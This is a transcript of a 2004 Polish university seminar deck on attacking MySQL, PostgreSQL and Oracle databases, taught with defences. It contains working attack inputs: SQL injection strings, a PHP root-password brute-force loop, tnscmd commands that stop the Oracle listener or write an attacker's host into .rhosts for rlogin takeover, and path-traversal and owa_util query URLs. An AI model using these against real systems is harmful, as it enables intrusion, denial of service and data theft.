Bazy danych z punktu widzenia intruza.
Transkrypt
Bazy danych z punktu widzenia intruza.
Bazy danych z punktu widzenia intruza.
Bezpieczeństwo systemów komputerowych.
Temat seminarium: Bazy danych z punktu
widzenia intruza.
Autor: Mariusz Ku źma
Bazy danych z punktu widzenia intruza.
(MySQL, PostgreSQL, Oracle)
Seminarium 2004 – PP, SKiSR
1
Bazy danych z punktu widzenia intruza – Przebieg prezentacji
Przebieg prezentacji:
MySQL
Wstęp
MySQL z punktu widzenia intruza
- Przepełnienie bufora (buffer overflow)
- Atak HTML injection
- Atak brutalny
PostgreSQL
Wstęp
PostgreSQL z punktu widzenia intruza
- Przepełnienie bufora (buffer overflow)
- Atak HTML injection
ORACLE
Wstęp
ORACLE z punktu widzenia intruza
- Uzyskanie informacji
- Prosty atak DoS
- Nadpisanie dowolnego pliku
- Przykładowy scenariusz ataku przejęcia kontroli nad bazą
- Odczyt informacji ostatniego połączenia z listenerem
- Ujawnienie treści skryptów JSP
- Atak HTML injection
- Moduł mod_plsql
- Wykorzystanie standardowych pakietów PL/SQL
Podsumowanie
Literatura
Seminarium 2004 – PP, SKiSR
Bazy danych z punktu widzenia intruza – MySQL
MySQL
Seminarium 2004 – PP, SKiSR
Bazy danych z punktu widzenia intruza – MySQL
MySQL – jest bardzo szybkim, solidnym systemem
zarządzania relacyjnymi bazami danych (RDMS –
relation database management system). Baza danych
umożliwia wydajne przechowywanie, przeszukiwanie,
sortowanie i odczytywanie danych.[1]
Serwer MySQL kontroluje dostęp do bazy w celu
zapewnienia równoczesnego dostępu wielu
użytkownikom, zagwarantowania szybkiego dostępu
oraz dostępu jedynie dla uwierzytelnionych
użytkowników.
Reasumując serwer MySQL jest serwerem
wielodostępowym i wielowątkowym.[1]
MySQL jest obecnie dostępny w licencji Open Source,
ale w konkretnych przypadkach można uzyskać licencje
komercyjne.
Seminarium 2004 – PP, SKiSR
4
Bazy danych z punktu widzenia intruza – MySQL – MySQL z punktu widzenia intruza
MySQL z punktu widzenia intruza
• Przepełnienie bufora (buffer overflow)
• Atak HTML injection
• Atak brutalny
Seminarium 2004 – PP, SKiSR
5
Bazy danych z punktu widzenia intruza – MySQL – Przepełnienie bufora (buffer overflow)
Przepełnienie bufora (buffer overflow)
Atak przepełnienia buforu wykorzystuje brak lub
niewłaściwe sprawdzanie długości łańcuchów
tekstowych w programach uprzywilejowanych.W ten
sposób można zdobywać uprawnienia zarówno w
systemach Unixowych jak i Microsoftu.
Błąd przepełnienia bufora w MySQL, który mógłby
zostać wykorzystany przez użytkownika mającego
uprawnienia do dokonywania zmian w tablicach.
Luka pozwala atakującemu na wykonanie arbitralnego
kodu z przywilejami procesu mysqld.
Seminarium 2004 – PP, SKiSR
6
Bazy danych z punktu widzenia intruza – MySQL – Przepełnienie bufora (buffer overflow)
Przepełnienie bufora (buffer overflow)
Działanie tego typu programów polega na wysłaniu na
tyle długiego łańcucha, że przekracza on swoją
długością zarezerwowane na stosie miejsce na zmienne
lokalne podprogramu. Przekraczając dozwoloną długość
nadpisuje się inne obszary stosu – m.in. adres powrotu
podprogramu. W ten sposób można w nadpisanym
obszarze pamięci
umieścić dowolny program lub wywołanie powłoki a w
miejscu adresu powrotu umieścić skok do przesłanego
programu lub wywołania powłoki.
Obrona polega na pisaniu poprawnych programów
sprawdzających długość pobieranych danych,
zmodyfikowaniu kompilatora itp.
Seminarium 2004 – PP, SKiSR
7
Bazy danych z punktu widzenia intruza – MySQL – Atak HTML injection
Atak HTML injection
Ataki HTML injection polegają na przesłaniu stronie,
która oczekuje od nas danych w postaci czystego tekstu,
ciągu zawierającego specjalnie spreparowanego kodu
HTML.[2]
Taki atak mógłby zostać wykorzystany przez
użytkownika mającego uprawnienia do dokonywania
zmian w tablicach (bazy MySQL).
Obrona przed atakiem HTML injection polega na
dokładnym sprawdzaniu zawartości każdej zmiennej
przekazywanej do bazy danych.
Seminarium 2004 – PP, SKiSR
8
Bazy danych z punktu widzenia intruza – MySQL – Atak HTML injection
Przykład ataku HTML injection na bazę MySQL
Wyobraźmy sobie aplikację która wyszukuje w tabeli
wiersz o wskazanej przez użytkownika wartości jednego
z pól. Zapytanie może wyglądać w przybliżeniu tak:
SELECT * FROM nazwa_tabeli WHERE
pole=$jakies_dane
W zapytaniu tym zostaje wstawiona wartość przekazana
przez użytkownika i przekazana do bazy.
A teraz atakujący może przekazać następujący ciąg:
$jakies_dane=‘4;delete from nazwa_tabeli’
SELECT * FROM nazwa_tabeli WHERE pole= 4;delete
from nazwa_tabeli
Zapytanie spowoduje wyświetlenie pól o wartości 4 i
dodatkowo usunięcie wszystkich wpisów w tabeli
nazwa_tabeli.
Seminarium 2004 – PP, SKiSR
9
Bazy danych z punktu widzenia intruza – MySQL – Atak brutalny
Atak brutalny
Polega na generowaniu wszystkich możliwych
kombinacji w zależności od długości hasła (przy znanym
loginie) podczas nawiązywania połączenia z bazą danych
MySQL.
Składnia wywołania funkcji mysql_connect w skrypcie
PHP przy nawiązaniu połączenia z bazą danych przez
WWW wygląda następująco:
mysql_connect(host,login,haslo)
Seminarium 2004 – PP, SKiSR
10
Bazy danych z punktu widzenia intruza – MySQL – Atak brutalny
Przykład ataku brutalnego na bazę mysql.
Wyobraźmy sobie skrypt (np. PHP) który generuje
wszystkie kombinacje hasła o danej długości i próbuje
nawiązać połaczenie jako użytkownik root z bazą danych
mysql, przy znanym adrsie serwera MySQL.
...
do
{
...
$haslo.=KolejnyZnak;
$db_lacz=mysql_connect("adres_serwera","root",$haslo);
} while(!$db_lacz)
echo ‘Hasło roota = ’. $haslo;
...
Obrona polega na ustawieniu pola host w tabeli user na
localhost.
update user set host=‘localhost’ where user=‘root’;
Seminarium 2004 – PP, SKiSR
11
Bazy danych z punktu widzenia intruza – PostgreSQL
PostgreSQL
Seminarium 2004 – PP, SKiSR
Bazy danych z punktu widzenia intruza – PostgreSQL
PostgreSQL jest najbardziej dojrzałą, najczęściej
używaną i darmową (obiektowo relacyjną) bazą danych
RDBMS SQL na świecie (MySQL nie należy do tej klasy).
Do tej klasy należą między innymi serwery: Oracle8,
Sybase11 czy InterBase5.1.[3]
PostgreSQL jest rozpowszechniany na podstawie
Powszechnej Publicznej Licencji GNU (GNU GPL). Jest
dostępny m.in. na platformach: Linux, FreeBSD, Solaris,
HP-UX, Irix, Windows 95, 98 i NT.
Seminarium 2004 – PP, SKiSR
13
Bazy danych z punktu widzenia intruza – PostgreSQL – PostgreSQL z punktu widzenia intruza
PostgreSQL z punktu widzenia intruza
• Przepełnienie bufora (buffer overflow)
• Atak HTML injection
Seminarium 2004 – PP, SKiSR
14
Bazy danych z punktu widzenia intruza – PostgreSQL – Przepełnienie buforu (buffer overflow)
Przepełnienie buforu (buffer overflow)
Atak przepełnienia buforu polega dokładnie na analogi,
jak w przypadku MySQL (slajd nr 5).
Natomiast obrona jest identyczna jak w przypadku
MySQL
(slajd nr 6).
Seminarium 2004 – PP, SKiSR
15
Bazy danych z punktu widzenia intruza – PostgreSQL – Atak HTML injection
Atak HTML injection
Atak HTML injection i obrona polega na analogi, jak w
przypadku MySQL (slajd nr 7).
Seminarium 2004 – PP, SKiSR
16
Bazy danych z punktu widzenia intruza – ORACLE
ORACLE
Seminarium 2004 – PP, SKiSR
Bazy danych z punktu widzenia intruza – ORACLE
Oracle Listener – jest to komponent odpowiedzialny
przede wszystkim za komunikację między klientami a
serwerem Oracle (również za komunikację
międzyserwerową). Jest to element każdej instalacji
Oracle DBMS.[4]
Listener jest procesem działającym na serwerze
bazodanowym, którego zadaniem jest przyjmowanie
zleceń od klientów. W systemach uniksowych jest to
proces o nazwie tnslsnr, a w systemach Windows
odpowiedni serwis.
Listener nasłuchuje zleceń na porcie TCP 1521. Do
komunikacji między Oracle Client a Listenerem jest
wykorzystywany protokół TNS (Transparent Network
Substrate).
Seminarium 2004 – PP, SKiSR
18
Bazy danych z punktu widzenia intruza – ORACLE
Największe zagrożenia związane z Oracle Listener nie
wymagają od atakującego żadnej wiedzy tajemnej.
Nie są to klasyczne przepełnienia bufora
wejściowego lub inne typowe błędy popełniane przez
programistów (aczkolwiek takie też w nim można
znaleźć).
Największe słabości Listenera prawdopodobnie
wynikają ze złych założeń przyjętych podczas
projektowania tego oprogramowania.
Do atakowania Oracle Listenera można zastosować
prosty skrypt perl o nazwie tnscmd. Skrypt ten pozwala
na wydawanie komend protokołu TNS.
Można go uzyskać pod adresem
http://www.jammed.com/~jwa/hacks/security/tnscmd/tns
cmd.
Seminarium 2004 – PP, SKiSR
19
Bazy danych z punktu widzenia intruza – ORACLE – ORACLE z punktu widzenia intruza
ORACLE z punktu widzenia intruza
• Uzyskanie informacji
• Prosty atak DoS
• Nadpisanie dowolnego pliku
• Przykładowy scenariusz ataku przejęcia kontroli
nad bazą
• Odczyt informacji ostatniego połączenia z
listenerem
• Ujawnienie treści skryptów JSP
• Atak HTML injection
• Moduł mod_plsql
• Wykorzystanie standardowych pakietów PL/SQL
Seminarium 2004 – PP, SKiSR
20
Bazy danych z punktu widzenia intruza – ORACLE – Uzyskanie infromacji o systemie
Uzyskanie informacji o systemie
Standardowo Oracle Listener przyjmuje komendy od
każdego i nie wymaga żadnej autoryzacji, dzięki temu
można uzyskać bardzo dużo informacji o systemie.
Odpowiadają za to komendy version i status protokołu
TNS:
tnscmd version -h adres_serwera -p 1521
tnscmd status -h adres_serwera -p 1521
Listener odpowiada na te zapytania zdradzając m.in.:
• dokładną wersję Oracle,
• rodzaj systemu operacyjnego,
• czas od uruchomienia instancji Oracle,
• ścieżki do plików z logami,
• opcje listenera (m.in. stan opcji security),
• rodzaj serwisów Oracle obsługiwanych przez Listenera,
• argumenty wywołania,
• kompletne środowisko (wartości wszystkich zmiennych
systemowych), w jakim został wywołany listener.
Seminarium 2004 – PP, SKiSR
21
Bazy danych z punktu widzenia intruza – ORACLE – Uzyskanie infromacji o systemie
Listing komendy tnscmd status -h 10.1.1.100 -p
1521
sending (CONNECT_DATA=(COMMAND=status))
to 10.1.1.100:1521
connect
writing 89 bytes
reading
. .......6.........@. ...........J........
DESCRIPTION=
TMP=
VSNNUM=135291648
ERR=0
ALIAS=LISTENER
SECURITY=OFF
VERSION=TNSLSNR for Solaris:
Version 8.1.6.3.0 - Production
START_DATE=28-OCT-2002 16:22:44
SIDNUM=1
LOGFILE=/opt/oracle/8i/network/log/listener.log
PRMFILE=/opt/oracle/8i/network/admin/listener.ora
TRACING=off
UPTIME=379500951
SNMP=OFFSeminarium 2004 – PP, SKiSR
22
Bazy danych z punktu widzenia intruza – ORACLE – Prosty atak DoS (denial of service)
Prosty atak DoS (denial of service)
• W standardowej konfiguracji Oracle Listener opcja
SECURITY ustawiona jest na OFF i mówi o tym, że dla
listenera można wydawać komendy bez jakiegokolwiek
uwierzytelnienia.
Polecenie
tnscmd stop -h adres_serwera -p 1521
spowoduje posłuszne zakończenie działania listenera.
• Zblokowanie dostępu do listenera za pomocą komendy
SERVICE_CURLOAD, polega na konsumcji 99% czasu
precesora.
Polecenie
tnscmd -h adres_serwera --rawcmd
"(CONNECT_DATA=
(COMMAND=SERVICE_CURLOAD))"
Seminarium 2004 – PP, SKiSR
23
Bazy danych z punktu widzenia intruza – ORACLE – Nadpisanie dowolnego pliku
Nadpisanie dowolnego pliku
Proces listenera (tnslsnr) zapisuje wszystkie zdarzenia w
swoim logu. Dokładne miejsce i nazwę pliku logu można
zdalnie odczytać przez komendę protokołu TNS - status
(opcja LOGFILE)
...
LOGFILE=/opt/oracle/8i/network/log/listener.log
...
Za pomocą odpowiedniego zlecenia TNS położenie pliku
logowania można zmieniać. Ponadto listener ślepo
przyjmuje każdą wartość, niezależnie od tego, czy
wyspecyfikowany plik istnieje (w takim wypadku zostanie
nadpisany), czy też nie (w takim wypadku zostanie
stworzony).
Listener ma możliwość nadpisania i/lub utworzenia
dowolnego pliku do którego ma uprawnienia proces
Oracle Listener.
Seminarium 2004 – PP, SKiSR
24
Bazy danych z punktu widzenia intruza – ORACLE – Nadpisanie dowolnego pliku
Przykład nadpisania pliku (przekierowania logów do
pliku /home/oracle/.rhosts)
wojdwo@behemot$ ./tnscmd -h oracleserver --rawcmd "
(DESCRIPTION= (CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))
COMMAND=log_file)(ARGUMENTS=4)
(SERVICE=LISTENER) (VERSION=1) (VALUE=/home/oracle/.rhosts)))"
sending
(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)
(ARGUMENTS=4)(SERVICE=LISTENER)
(VERSION=1)(VALUE=/home/oracle/.rhosts)))
to oracleserver:1521
writing 205 bytes
reading
.m......"..a(DESCRIPTION=(TMP=)(VSNNUM=135294976)(ERR=0)(COMMAND=log_file)
(LOGFILENAME=/home/oracle/.rhosts))
Seminarium 2004 – PP, SKiSR
25
Bazy danych z punktu widzenia intruza – ORACLE – Przykładowy scenariusz ataku przejęcia kontroli nad bazą
Przykładowy scenariusz ataku przejęcia kontroli
nad bazą
Polega na dokonaniu odpowiedniego wpisu do pliku .
rhosts i wykorzystaniu serwisu rlogin.
Krok 1: Zmiana pliku logu listenera na plik .rhosts
(slajd nr 24)
/home/oracle/.rhosts
Seminarium 2004 – PP, SKiSR
26
Bazy danych z punktu widzenia intruza – ORACLE – Przykładowy scenariusz ataku przejęcia kontroli nad bazą
Krok 2: Wpisanie adresu IP i loginu intruza do pliku .
rhosts
(tak aby IP i login był w jednej lini)
wojdwo@behemot$ ./tnscmd -h oracleserwer \
--rawcmd "(CONNECT_DATA=((
10.1.1.223 wojdwo
"
sending (CONNECT_DATA=((
10.1.1.223 wojdwo
to oracleserwer:1521
writing 93 bytes
reading
.$....."..(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)
(ERROR_STACK=(ERROR=i(CODE=1153)(EMFI=4)
(ARGS='(CONNECT_DATA=((.10.1.1.223 wojdwo')) (ERROR=(CODE=303)
(EMFI=1))))
Seminarium 2004 – PP, SKiSR
27
Bazy danych z punktu widzenia intruza – ORACLE – Przykładowy scenariusz ataku przejęcia kontroli nad bazą
Krok 3: Za pomocą rlogin intruz loguje się bez żadnego
uwierzytelnienia jako użytkownik z prawami
użytkownika
oracle.
wojdwo@behemot$ rlogin -l oracle oracleserwer
Obrona przed powyższym atakiem polega na wgraniu
łaty wypuszczonej przez ORACLE (#1361722), która
wprowadza dodatkowy parametr
ADMIN_RESTRICTIONS do pliku konfigurującego
listenera (listener.ora). Wyłączenie parametru
ADMIN_RESTRICTIONS uniemożliwia zdalną
rekonfigurację listenera.
Seminarium 2004 – PP, SKiSR
28
Bazy danych z punktu widzenia intruza – ORACLE – Odczyt informacji ostatniego połączenia z listenerem
Odczyt informacji ostatniego połączenia z
listenerem
Błąd polega na ujawnieniu informacji przekazywanej w
poprzednim połączeniu innego użytkownika z
listenerem.
W praktyce ustawiamy w odpowiednim parametrze
wartość większą niż w rzeczywistości długość
wydawanej komendy TNS (--cmdsize 30), co spowoduje
możliwość odczytania części komendy wydanej do
listenera przez poprzedniego użytkownika
(COMMAND=status ).
wojdwo@behemot$ ./tnscmd --rawcmd " " -h oracleserwer --cmdsize 30
sending to oracleserwer:1521
Faking command length to 30 bytes
writing 59 bytes
reading
......."...(DESCRIPTION=(ERR=1153)(VSNNUM=135294976)
(ERROR_STACK=(ERROR=(CODE=1153)(EMFI=4)
(ARGS='CONNECT_DATA=(COMMAND=status)'))
(ERROR=(CODE=303)(EMFI=1))))
Seminarium 2004 – PP, SKiSR
29
Bazy danych z punktu widzenia intruza – ORACLE – Ujawnienie tre ści skryptów JSP
Ujawnienie treści skryptów JSP
Podczas generowania strony WWW ze skryptu JSP
tworzone są pliki tymczasowe w ścieżce /_pages serwera
WWW. Jeden z plików z rozszerzeniem java zawiera kod
źródłowy wykonywanego skryptu.
W standardowej konfiguracji Apache
rozpowszechnianego z Oracle katalog /_pages jest
udostępniany przez serwer, w związku z tym intruz może
odczytać kod źródłowy stron JSP obsługiwanych przez
serwer.
Obrona polega na zabronieniu w konfiguracji Apache
dostępu do ścieżki /_pages. Dodatkowo wszystkie
skrypty JSP powinny być przechowywane w postaci
prekompilowanej.
Seminarium 2004 – PP, SKiSR
30
Bazy danych z punktu widzenia intruza – ORACLE – Ujawnienie tre ści skryptów JSP
Przykład ujawnienia treści skryptów JSP
Najpierw należy uruchomić atakowany skrypt JSP, po to
by serwer pobrał kod i go skompilował:
http://10.1.1.100/demo/sql/bean/ConnBeanDemo.jsp
Teraz można odczytać źródło skryptu JSP odwołując się
do odpowiedniego pliku w ścieżce /_pages:
http://10.1.1.100/_pages/_demo/_sql/_bean/_ConnBeanDe
mo.java
Seminarium 2004 – PP, SKiSR
31
Bazy danych z punktu widzenia intruza – ORACLE – Atak HTML injection
Atak HTML injection
Przykładem niech będzie skrypt /
demo/sql/tag/sample2.jsp.
Skrypt ten jest interfejsem do tabeli zawierającej dane o
zarobkach w pewnej fikcyjnej firmie. Skrypt wyświetla w
przeglądarce formularz WWW, w którym użytkownik
wpisuje zapytanie.
Np. wpisanie sal=800 powoduje wykonanie zapytania
select ename,sal from scott.emp where sal=800
Przykładowo, wpisanie ciągu
sal=800 union select username,userid from all_users
spowoduje wykonanie zapytania
select ename,sal from scott.emp where sal=800 union
select username,userid from all_users
Seminarium 2004 – PP, SKiSR
32
Bazy danych z punktu widzenia intruza – ORACLE – Moduł mod_plsql
Moduł mod_plsql
Moduł Apache mod_plsql służy do interpretowania na
serwerze WWW kodu PL/SQL, który jest natywnym
językiem baz Oracle.
W module tym ujawniono wiele klasycznych błędów:
• Przepełnienie bufora wejściowego w skrypcie
służącym do
wyświetlania pomocy.
Wysłanie zlecenia typu:
http://10.1.1.100/pls/simpledad/admin_/help/AAAAAAAA....
(>1000 znaków)
powoduje błąd segmentacji w procesie
obsługującym to
zlecenie.
Seminarium 2004 – PP, SKiSR
33
Bazy danych z punktu widzenia intruza – ORACLE – Moduł mod_plsql
Moduł mod_plsql
• Zastosowanie techniki double decode.
Polega na przesłaniu do serwera zlecenia
zawierającego znaki specjalne (np. ukośnik) dwukrotnie
zakodowane heksadecymalnie.
W rezultacie możliwe jest obejście restrykcji
serwera i odczytanie dowolnego pliku bądź katalogu w
przestrzeni serwera WWW.
Przykład odczytania pliku konfiguracyjnego
plsql.conf:
http://10.1.1.100/pls/simpledad/admin_/help/..%
255Cplsql.conf
Seminarium 2004 – PP, SKiSR
34
Bazy danych z punktu widzenia intruza – ORACLE – Wykorzystanie standardowych pakietów PL/SQL
Wykorzystanie standardowych pakietów PL/SQL
W starszych wersjach Oracle (poniżej 9i) wszystkie
pakiety PL/SQL są udostępnianie przez Internet, za
pomocą mod_plsql.
Składnia wywołania procedury PL/SQL przez serwer
WWW wygląda następująco:
http://ip.ip.ip.ip/pls/DAD/nazwa_pakietu.nazwa_procedur
y
DAD (Database Access Descriptor) jest to struktura
opisująca sposób łączenia się do bazy za pomocą
Seminarium 2004 – PP, SKiSR
pakietów PL/SQL.
35
Bazy danych z punktu widzenia intruza – ORACLE – Wykorzystanie standardowych pakietów PL/SQL
Ataki za pomocą procedur z pakietu owa_util
• Sprawdzenie działania pakietu owa_util:
http://10.1.1.100/pls/simpledad/owa_util.signature
• Ujawnienie kodu żródłowego pakietu PL/SQL (np.
file_util):
http://10.1.1.100/pls/simpledad/owa_util.showsource?cna
me=file_util
• Wykonanie nieautoryzowanych zapytań do bazy:
http://10.1.1.100/pls/simpledad/owa_util.listprint?p_theQ
uery=select%20*%20from%
20all_users&p_cname=&p_nsize=
Seminarium 2004 – PP, SKiSR
36
Bazy danych z punktu widzenia intruza – ORACLE – Wykorzystanie standardowych pakietów PL/SQL
Ataki za pomocą procedur z pakietu owa_util
Inne potencjalnie interesujące pakiety PL/SQL to np.:
• htp – procedury pozwalające na obsługę protokołu
HTTP,
• tcp – procedury obsługi protokołu TCP, pozwalają
m.in. na nawiązanie połączenia zwrotnego
(wychodzącego),
• file_util – procedury dostępu do plików, umożliwiają
np. pobranie dowolnego pliku z serwera.
Obrona polega na ustawieniu parametru exclusion_list w
pliku konfiguracyjnym wdbsrv.app.
W starszych wersjach (poniżej 9i) nie jest on włączony.
Seminarium 2004 – PP, SKiSR
37
Bazy danych z punktu widzenia intruza – Podsumowanie
Podsumowanie
Seminarium 2004 – PP, SKiSR
Bazy danych z punktu widzenia intruza – Podsumowanie
Podsumowanie:
Bazy danych MySQL i PostgreSQL są bazami o dużo
mniejszej złożoności programowej niż baza danych
ORACLE.
Mimo że bazy danych MySQL i PostgreSQL są
programami Open Source mają mniej błędów niż
ORACLE, który jest komercyjną bazą danych.
Dużo błędów wynika z tego, że użytkownicy zazwyczaj
przyjmują domyślne konfiguracje ustawień baz danych i
serwerów WWW, co nie jest zalecane.
Seminarium 2004 – PP, SKiSR
39
Bazy danych z punktu widzenia intruza – Literatura
Literatura
Seminarium 2004 – PP, SKiSR
Bazy danych z punktu widzenia intruza – Literatura
Literatura
[1] J. Smycz, D. Kaczmarek, „PHP i MySQL Tworzenie
stron
WWW”, wydawnictwo Helion, 2002
[2] „Haking”, Nr 1/2004
[3] „PCkurier”, Nr 8/2000
[4]„Haking”, Nr 1/2003
Seminarium 2004 – PP, SKiSR